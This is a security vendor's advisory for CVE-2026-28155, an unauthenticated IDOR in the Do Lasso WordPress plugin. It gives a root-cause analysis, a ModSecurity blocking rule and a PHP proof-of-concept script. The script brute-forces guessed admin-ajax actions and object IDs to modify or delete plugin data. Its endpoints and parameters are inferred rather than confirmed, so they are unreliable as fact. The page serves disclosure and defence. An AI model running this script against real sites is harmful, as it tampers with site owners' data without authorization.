Opens in a new tab
Published : November 15, 2026

CVE-2026-28155: Do Lasso <= 358 Unauthenticated Insecure Direct Object Reference PoC, Patch Analysis & Rule

Plugin lasso
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 358
Patched Version —
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28155 (metadata-based): The Do Lasso plugin for WordPress, versions up to and including 358, contains an unauthenticated Insecure Direct Object Reference (IDOR) vulnerability. Atomic Edge analysis indicates that the plugin fails to validate a user-controlled key before performing an action. The CVSS score of 5.3 reflects a network-based attack with low complexity, no privileges required, no user interaction, and limited impact on integrity only (C:N/I:L/A:N). No patched version is available.

Root cause: The vulnerability is classified as CWE-639, Authorization Bypass Through User-Controlled Key. Atomic Edge research infers from the CWE and description that the plugin exposes an action (likely an AJAX handler or REST endpoint) that accepts a user-supplied identifier (e.g., ‘id’, ‘post_id’, ‘lasso_id’, ‘item_id’) and performs a state-changing operation without verifying that the current user is authorized to modify the referenced object. The description explicitly states “missing validation on a user controlled key” and “unauthorized action”, confirming that the core issue is an authorization bypass rather than input sanitization or authentication failure. Since no source code diff is available, the exact endpoint and parameter names are inferred from common WordPress plugin patterns and the plugin slug ‘lasso.

Exploitation: An unauthenticated attacker can send crafted HTTP requests to the vulnerable endpoint. Based on typical WordPress AJAX implementations, the likely target is /wp-admin/admin-ajax.php with an action parameter such as ‘lasso_update_item’, ‘lasso_delete_item’, or ‘lasso_edit_item’. The attacker supplies a user-controlled key (e.g., ‘id=123’) and any additional required parameters to perform an unauthorized action, such as modifying data belonging to another user or deleting records. Atomic Edge analysis suggests that no nonce or capability check is enforced, allowing direct requests from any unauthenticated client. The PoC script below demonstrates enumeration of plausible action names and parameters, with a configurable target URL.

Remediation: The fix requires adding proper authorization checks before performing the action. Atomic Edge recommends implementing capability checks (e.g., current_user_can()) and nonce verification for the specific action, as well as validating that the user-controlled key corresponds to an object the user is allowed to modify. Since CWE-639 is an authorization bypass, the patch must ensure that the key is not trusted without an ownership or permission check. As no patched version is available, site owners should apply virtual patching via WAF rules or disable the plugin until a fix is released.

Impact: Successful exploitation allows an unauthenticated attacker to perform unauthorized actions, potentially modifying or deleting plugin-managed data (e.g., Lasso affiliate links, products, or settings). The CVSS vector shows integrity impact only (I:L), with no confidentiality or availability impact. However, in a WordPress context, such actions could lead to defacement, data corruption, or abuse of affiliate marketing functionality, depending on what the affected action controls. Atomic Edge assesses the overall risk as moderate due to the low complexity and lack of authentication required.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28155 (metadata-based)
# This rule attempts to block unauthenticated IDOR attempts against the Do Lasso plugin.
# It targets admin-ajax.php requests with a Lasso-specific action parameter and
# a user-controlled key that could be abused. Since the exact action name is unknown,
# the rule matches any action containing 'lasso' and checks for common key parameters.
# This is a heuristic virtual patch and may require tuning to avoid false positives.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-28155 via Do Lasso AJAX IDOR',severity:'CRITICAL',tag:'CVE-2026-28155'"
    SecRule ARGS_POST:action "@rx (?i)lasso" "chain"
        SecRule ARGS_POST "@rx ^(id|item_id|post_id|lasso_id|record_id)$" "chain"
            SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28155 - Do Lasso <= 358 - Unauthenticated Insecure Direct Object Reference

// This PoC attempts to exploit the IDOR by targeting likely AJAX actions in the Do Lasso plugin.
// The exact action name and parameters are inferred from the CWE and plugin slug. Adjust as needed.

$target_url = 'http://example.com'; // Change to the target WordPress site

// List of candidate AJAX actions based on common Lasso plugin naming conventions.
$candidate_actions = [
    'lasso_update_item',
    'lasso_edit_item',
    'lasso_delete_item',
    'lasso_modify_item',
    'lasso_save_item',
    'lasso_process_item',
];

// Candidate parameter names for the user-controlled key.
$candidate_keys = ['id', 'item_id', 'post_id', 'lasso_id', 'record_id'];

// Candidate values for the key. Include a test value (e.g., 1) and a potentially unauthorized one.
$candidate_values = [1, 2, 3, 999];

// Additional parameters that might be required to perform the action.
$extra_params = [
    'title' => 'AtomicEdgeTest',
    'url' => 'https://atomicedge.example',
    'status' => 'active',
];

$endpoint = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

foreach ($candidate_actions as $action) {
    foreach ($candidate_keys as $key) {
        foreach ($candidate_values as $value) {
            $post_data = array_merge(
                ['action' => $action, $key => $value],
                $extra_params
            );

            $ch = curl_init($endpoint);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);

            if ($error) {
                echo "[!] cURL error for action=$action key=$key value=$value: $errorn";
                continue;
            }

            echo "[+] Action: $action | Key: $key=$value | HTTP $http_code | Response: " . substr(trim($response), 0, 200) . "n";

            // Heuristic: if response is not '0' or '-1' (common WordPress AJAX failure responses) and HTTP 200, it may indicate success.
            if ($http_code == 200 && !in_array(trim($response), ['0', '-1', ''])) {
                echo "[!] Potential success! Check the target for changes.n";
            }
        }
    }
}

echo "[+] PoC completed. Review output for anomalies.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.